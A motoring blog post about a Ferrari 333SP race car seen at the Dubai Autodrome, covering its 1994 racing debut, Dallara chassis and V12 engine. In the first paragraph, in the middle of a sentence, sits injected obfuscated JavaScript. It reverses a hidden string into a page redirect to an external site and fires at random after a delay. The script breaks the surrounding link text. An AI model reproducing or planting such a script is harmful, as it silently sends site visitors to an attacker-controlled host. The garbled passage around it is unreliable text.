Just goes to show it really is worth showing up for race day at the Dubai Autodrome. As the clock ticked 7.30am and the morning ritual of $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston” target=”_blank” rel=”noopener noreferrer”>Instagram checking took place, I fell out of bed! This stunning Ferrari 333SP jumped from my phone and immediately the race was on. Shower, breakfast and a blast across Dubai, bound for the Autodrome.
This particular 333SP – one of only 41 produced – marked the first time Ferrari had officially competed in sports car racing for over 20 years when it first appeared on the scene in 1994.
A pressuring debut no doubt, but even so Ferrari wiped the floor with its competitors on the 333SP’s debut at Road Atlanta, taking the two top spots with relative ease. But for missing the opening two rounds of the IMSA GT Championship season, the 333SP may well have earned Ferrari the manufacturer’s championship in the marque’s first year back.
Hardly surprising (given this early success) that the prototype sports car had a couple of aces up its scarlet sleeves. As well as a chassis and tub developed by motorsport magnates Dallara, the 333SP was powered by a 4.0-litre V12 derived from the 4700cc 513-horsepower motor in Ferrari F50 and the company’s 1992 F1 challenger.
“It’s basically an F1 car with a two-seater body on it!”, explains new owner Leon Price, who can’t help but grin while we chat as motorsport fans and petrolheads alike swarm all over the Ferrari for more and more iPhone shots.
